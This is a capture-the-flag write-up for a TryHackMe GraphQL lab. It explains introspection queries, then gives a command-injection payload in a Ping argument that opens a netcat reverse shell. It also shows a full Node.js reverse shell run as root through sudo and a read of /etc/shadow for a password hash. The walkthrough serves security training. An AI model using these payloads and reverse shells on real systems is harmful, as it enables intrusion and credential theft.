GraphQL — PenTestical’s Writeup
This time we’ll go through the TryHackMe room GraphQL. Credits to Paradox for creating this genius room. I really liked it!
Task 1: Read above. No answer needed.
Task 2: Read above. No answer needed.
Task 3: The room itself explains very well how GraphQL works, so I’ll go faster through this one.
So, basically, if we want to query the object type “Dog” with a parameter name of “Shiba Inu”, we could get his weight by simply typing:
{ Dog(name: “Shiba Inu”){ weight } }
For further reading: https://graphql.org/learn/schema/
Task 4: Same as task 3. Paradox does a great job of explaning the basics of GraphQL. Take your time to read through the materials.
According to the naming scheme of figure 2, we can simply use:
{ __type(name: “Linux”){ fields { name } } }
Just make sure to use double underscores for __type.
Task 5: Read above. No answer needed.
Task 6: So, now the actions begins! It’s challenge time! First of all, we know that we have a blank GraphQL interface. So let’s jump right into it:
I’ll use the query of task 4 to see what we have (click on “prettify” after typing it, if you want):
{ __schema {types {name description } } }
This will give us the output:
The ping type looks pretty suspicious, but I had to spend a few hours to figure out what to do next. After doing some research and saying three times “it’s paradox, paradox, paradox”, something beautiful came up:
{ Ping(ip: “; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your-machine-ip 4444 >/tmp/f”) { ip output } }
Open a netcat session on your target box:
nc -nvlp 4444
And with this, we get initial foothold:
Privilege Escalation
First of all, I like to upgrade my netcat session. So, let’s use:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
Now, before using something like linpeas, let’s check always for
sudo -l
So we can use node to run the script server.js with root privileges. Always make sure to use the full path like /usr/bin/node instead of just node! The most easiest way to get a root shell is by simply using an own JavaScript reverse shell and put it into the server.js file. I had to google quite a bit to find a nice reverse shell written in JS:
var net = require(‘net’);var spawn = require(‘child_process’).spawn;
HOST=”your-machine-ip";
PORT=”4445";
TIMEOUT=”5000";if (typeof String.prototype.contains === ‘undefined’) { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; } function c(HOST,PORT) { var client = new net.Socket(); client.connect(PORT, HOST, function() { var sh = spawn(‘/bin/sh’,[]); client.write(“Connected!\n”); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); sh.on(‘exit’,function(code,signal){ client.end(“Disconnected!\n”); }); }); client.on(‘error’, function(e) { setTimeout(c(HOST,PORT), TIMEOUT); });}c(HOST,PORT);
Replace the IP with your own one. Now, the rest is easy. You can simply use an editor like vi, but due to my incompetence of quitting the vi editor, I’ll just put the code inside a file called script.js and transfer it with using Python. On the attacker box, use:
python3 -m http.server 8000
On the target box, use:
cd /tmp && wget http://machine-ip:8000/script.js
And redirect the output of your script inside the server.js file:
cat script.js > /home/para/server.js
Now, on your attacker box, start a netcat session:
nc -nvlp 4445
And execute the server.js file with the sudo command.
sudo /usr/bin/node /home/para/server.js
On your attacker box, you should get a root shell:
To answer the question, we need the hash of para:
cat /etc/shadow | grep para
And that’s it! We made it. Whoop whoop. Feel free to ping me on Discord (PenTestical#1892), if you have any questions about this one.